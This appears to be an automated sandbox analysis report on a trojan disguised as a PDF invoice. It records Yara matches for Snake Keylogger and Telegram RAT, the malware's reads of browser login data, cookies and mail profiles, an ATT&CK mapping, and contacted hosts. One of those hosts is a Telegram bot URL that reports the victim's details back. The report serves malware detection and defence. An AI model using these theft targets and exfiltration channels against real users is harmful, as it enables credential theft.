Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 8080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 8080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 8080, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.vrhZELiHpiub.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Proforma Invoice_21-1541 And Packing List.pdf.exe PID: 7576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vrhZELiHpiub.exe PID: 7364, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scheduled Task/Job	111 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	13 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	13 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	11 Security Software Discovery	Distributed Component Object Model	1 Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	31 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	111 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Proforma Invoice_21-1541 And Packing List.pdf.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos
Proforma Invoice_21-1541 And Packing List.pdf.exe	100%	Avira	HEUR/AGEN.1309880
Proforma Invoice_21-1541 And Packing List.pdf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	100%	Avira	HEUR/AGEN.1309880
C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	66%	ReversingLabs	ByteCode-MSIL.Trojan.Remcos

Source	Detection	Scanner	Label
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://checkip.dyndns.org/	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
us2.smtp.mailhostbox.com	208.91.199.223	true	true	unknown
reallyfreegeoip.org	188.114.96.3	true	true	unknown
api.telegram.org	149.154.167.220	true	true	unknown
checkip.dyndns.com	193.122.130.0	true	false	unknown
checkip.dyndns.org	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2017/10/2024%20/%2007:24:17%0D%0ACountry%20Name:%20%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false		unknown
https://reallyfreegeoip.org/xml/173.254.250.82	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.sakkal.com51e	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1772870272.00000000051D4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designersG	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/?	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.telegram.org/bot	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://us2.smtp.mailhostbox.com	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002CC2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.fontbureau.com/designers?	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/lB	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002A5F000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002D20000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.tiro.com	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039C7000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003B44000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003952000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003C1A000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.0000000003AF6000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4185912052.00000000039A0000.00000004.00000800.00020000.00000000.sdmp, Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003EDA000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003DB7000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003E05000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C13000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C61000.00000004.00000800.00020000.00000000.sdmp, vrhZELiHpiub.exe, 0000000D.00000002.4185910922.0000000003C88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1773016780.00000000069A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en	vrhZELiHpiub.exe, 0000000D.00000002.4179084969.0000000002CF4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
